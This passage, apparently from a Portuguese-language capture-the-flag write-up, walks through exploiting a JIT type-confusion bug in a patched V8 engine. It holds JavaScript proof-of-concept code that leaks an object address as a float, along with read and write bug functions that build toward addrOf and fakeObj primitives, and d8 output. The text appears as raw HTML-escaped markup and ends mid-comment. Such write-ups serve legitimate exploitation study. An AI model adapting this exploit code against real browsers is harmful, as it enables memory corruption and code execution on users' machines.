&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// object array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100_000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// Treinando o especulador para float array&amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;log&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// entregando um array de objs
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Essa parece uma PoC bem consistente e simples, não? Porem existe um problema neste exemplo, a função &lt;code&gt;bug&lt;/code&gt; é muito curta e por motivos de otimização, o v8 prefere fazer &lt;em&gt;inline&lt;/em&gt; dela para simplificar o fluxo. Então vamos tentar novamente:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// junk para a função não se tornar _inline_
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;prop&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;1.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// float array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// object array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100_000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// Treinando o especulador para float array&amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;log&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// entregando um array de objs
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora, ao testar esse trecho de código com o patch do &lt;em&gt;challenge&lt;/em&gt;, iremos notar algo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# ./d8 --shell ./exp.js&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;V8 version 9.1.0 &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;candidate&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;d8&amp;gt; main&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;4.763796150676412e-270
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;undefined
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;d8&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podemos ver que o endereço do objeto está sendo tratado como um número float, a partir desse ponto, &lt;em&gt;craftar&lt;/em&gt; primitivas essenciais de &lt;code&gt;addrOf&lt;/code&gt; e &lt;code&gt;fakeObj&lt;/code&gt; será trivial.&lt;br&gt;
Primeiro vamos criar duas variações do código da PoC, uma para read e outra para write:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;read_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// junk para a função não se tornar _inline_
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;write_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;val&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// junk para a função não se tornar _inline_
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;val&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Seguido disso, podemos criar uma função simples para &lt;em&gt;triggar&lt;/em&gt; o bug e chamar o JIT para nossas funções&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;trigger_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;1.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// float array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100_000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;read_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// Treinando o especulador para float array&amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;nx&#34;&gt;write_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// Treinando o especulador para float array&amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora iremos usar nossas funções de leitura e escrita para conseguir os artefatos necessários para as primitivas&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;trigger_bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;prop&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// apenas para o array de objs
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;obj_map_leak&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// cria um array de objs
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// read_bug ira ler o array como um float, vazando um endereço
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//! info: o &amp;#34;&amp;amp; 0xffffffffn&amp;#34; serve para pegar apenas os 32bits mais baixos
